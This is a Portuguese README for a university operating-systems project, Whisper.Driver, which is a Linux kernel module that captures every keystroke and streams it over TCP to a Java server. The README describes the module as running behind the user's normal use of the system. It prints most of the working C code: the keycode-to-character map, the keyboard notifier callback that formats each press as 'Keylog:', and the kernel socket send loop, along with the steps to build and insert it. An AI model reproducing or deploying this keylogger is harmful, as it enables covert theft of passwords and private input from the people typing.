Trabalho da disciplina de Sistemas Operacionais I (SSC0640), lecionada pelo Docente Vanderlei Bonato, para o curso de Engenharia de Computação - USP São Carlos.
Whisper.Driver é um escaneador de teclado em kernel com comunicação TCP.
- Resumo.
- Tabela de conteúdos.
- 1. Composição do projeto.
- 2. Pré-Requisitos
- 3. Instalação dos Pré-requisitos.
- 4. Guia de execução.
- 5. Resumo do driver.
- 6. Tecnologias.
- 7. Licença.
O projeto foi desenvolvido com o propósito de ser um driver de kernel capaz de escanear as teclas do teclado e enviar a um usuário externo conectado, funcionando por trás do uso principal do sistema.
Dessa forma, o usuário externo é um servidor, implementado em user space na linguagem Java, com interface JavaFX. O driver é um módulo kernel, com um listener de teclas e um socket de cliente, implementado em C no kernel space.
- Java JDK 11 (ou superior);
- Arquivos headers de kernel;
Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute
$ java -version
Caso não haja, execute
$ sudo apt install default-jdk
Se o JDK foi instalado com êxito, então ao executar $ java -version, deve aparecer a última versão do JDK.
Para saber se essas bibliotecas estão instaladas no seu sistema, execute
$ uname -r
$ apt search linux-headers-$(uname -r)
Caso você não tenha as bibliotecas, execute
$ sudo apt-get install build-essential linux-headers-`uname -r`
Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute:
$ java -version
Caso não haja, execute:
$ sudo pacman -S jre-openjdk-headless jre-openjdk jdk-openjdk openjdk-doc openjdk-src
Se o JDK foi instalado com êxito, então ao executar $ java -version, deve aparecer a última versão do JDK.
Para instalar é preiso estar com o sistema atualizado, para isso use:
$sudo pacman -Syu
Se precisar reebote o sistema.
Agora para instalar execute:
$ sudo pacman -S base-devel linux-headers
Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute:
$ java -version
Caso não haja, execute:
$ sudo dnf install java-latest-openjdk-devel
Se o JDK foi instalado com êxito, então ao executar $ java -version deve aparecer a última versão do JDK. Caso isso não ocorra, será preciso configurar a versão do java utilizada pelo sistema:
$ sudo alternatives --config java
Para instalar é preiso estar com o sistema atualizado, para isso use:
$ sudo dnf update
Se precisar reebote o sistema.
Agora para instalar execute:
$ sudo dnf linux-headers
- Compile todos os arquivos executando:
$ make
- Abra o servidor executando:
$ make start
-
Com o servidor aberto, é preciso pressionar "Abrir servidor", para que ele comece a aceitar conexões. Nessa etapa, é importante verificar se o IP é 127.0.0.1 e a porta 8008.
-
Agora deve-se inserir o módulo no kernel com:
$ make insert
- Com o módulo no kernel, ele se conectará automaticamente e o servidor começará a mostrar as teclas digitadas pelo usuário. Para retirar o módulo do kernel, execute
$ make remove
A rotina de conexão com o servidor é a primeira rotina executada ao ínicio do módulo. Nela, define-se o IP e configura a conexão. Depois conecta-se o socket do cliente ao servidor. No trecho abaixo, há apenas a parte principal da rotina.
//Define o endereço de IP.
unsigned char ip[5] = {127,0,0,1,'\0'};
//Reserva memória no endereço 'endereco'.
memset(&endereco, 0, sizeof(endereco));
//Configura a conexão com o endereço IPV4, na porta 8008 no IP definido.
endereco.sin_family = AF_INET;
endereco.sin_port = htons(8008);
endereco.sin_addr.s_addr = htonl(criaEndereco(ip));
//Conecta o cliente ao servidor externo.
socket->ops->connect(socket, (struct sockaddr*)&endereco, sizeof(endereco), O_RDWR);
O envio de mensagem acontece byte-a-byte. Recebendo uma mensagem como parâmetro, a rotina de envio cria estruturas de mensagem, struct msghdr, e de buffer, struct kvec. Assim, envia-se um byte da mensagem até que o retorno da função kernel_send seja 0.
//Cria a struct do tipo msghdr (mensagem) e kvec (buffer).
struct msghdr msg;
struct kvec vec;
//Define o struct de mensagem.
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;
//Enviar a mensagem ao servidor.
while(1){
//Estrutura de buffer.
vec.iov_len = left;
vec.iov_base = (char *)mensagem + written;
//Retorna o número de bytes enviados.
len = kernel_sendmsg(localSocket, &msg, &vec, left, left);
//Ao receber constantes do sistema, ignora e prossegue enviando.
if(len == -ERESTARTSYS || !(flags & MSG_DONTWAIT) && len == -EAGAIN)
continue;
//Caso ainda haja bytes para enviar.
if(len > 0){
written += len;
left -= len;
if(left)
continue;
}
break;
}
O Listener das teclas é divido em 4 partes, sendo elas o mapa_de_teclas
, o bloco_observador_teclado
, o manipulador_evento_teclado
e a converte_codigo_tecla_para_string
.
Aqui é definido um mapeamento de teclas chamado mapa_de_teclas, que associa códigos de teclas a caracteres correspondentes. Cada entrada no array bidimensional mapa_de_teclas possui duas strings: a primeira representa a tecla sem o Shift pressionado, e a segunda representa a tecla com o Shift pressionado.
static const char *mapa_de_teclas[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, // 0-3
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, // 4-7
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, // 8-11
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, // 12-14
{"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, // 20-23
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, // 24-27
{"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"}, // 28-31
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, // 32-35
.
.
.
};
Aqui é definida uma estrutura notifier_block chamada bloco_observador_teclado, que possui um membro notifier_call apontando para a função manipulador_evento_teclado. Essa estrutura é usada para registrar o módulo como um observador dos eventos de teclado.
static struct notifier_block bloco_observador_teclado = {
.notifier_call = manipulador_evento_teclado,
};
Essa função, manipulador_evento_teclado, é a função de retorno de chamada que é chamada sempre que ocorre um evento de teclado. Ela recebe informações sobre o evento, como o código da tecla e a ação (pressionar ou soltar a tecla), e registra as teclas pressionadas utilizando a função converte_codigo_tecla_para_string.
int manipulador_evento_teclado(struct notifier_block *bloco_notificacao, unsigned long codigo, void *_parametro){
// Cria buffer para a conversao do codigo de tecla para string.
char buffer_teclas[12] = {0};
// Converte o parametro (void *) recebido prara (keyboard_notifier_param *).
struct keyboard_notifier_param *parametro = _parametro;
if (!(parametro->down)) return NOTIFY_OK;
// Converte o codigo da tecla na string equivalente e salva no buffer.
converte_codigo_tecla_para_string(parametro->value, parametro->shift, buffer_teclas, 12);
// Se a string for nula ele termina a rotina aqui.
if (strlen(buffer_teclas) < 1) return NOTIFY_OK;
// Cria uma string para enviar pelo socket.
char enviar[32];
memset(&enviar, 0, 32);
// Monta a string no padrão "Keylog: <tecla>".
strcat(enviar, "Keylog: ");
strcat(enviar, buffer_teclas);
strcat(enviar, "\n");
// Envia a string pelo socket.
enviarMensagem(socket, enviar, strlen(enviar), MSG_DONTWAIT);
// Printa no log (local) a tecla precionada.
printk(KERN_INFO "Keylog: %s", buffer_teclas);
return NOTIFY_OK;
}
Esta função, converte_codigo_tecla_para_string, converte um código de tecla e uma máscara de Shift em uma sequência de caracteres correspondente. A sequência é armazenada no buffer fornecido como parâmetro.
void converte_codigo_tecla_para_string(int codigo_tecla, int mascara_shift, char *buf, unsigned int tam_buf){
// Se a tecla esta dentro do intervalo de teclas mapeadas.
if (codigo_tecla > KEY_RESERVED && codigo_tecla <= KEY_PAUSE)
{
// Se o shift estiver pressionado pega codigo na posicao 1 se nao pega na posicao 0.
const char *string_tecla = (mascara_shift == 1)
? mapa_de_teclas[codigo_tecla][1]
: mapa_de_teclas[codigo_tecla][0];
// Copia o const char para o buffer como string.
snprintf(buf, tam_buf, "%s", string_tecla);
}
}
As seguintes ferramentas foram usadas na construção do projeto:
MIT License © Caio O. Godinho, Hugo H. Nakamura, Isaac Soares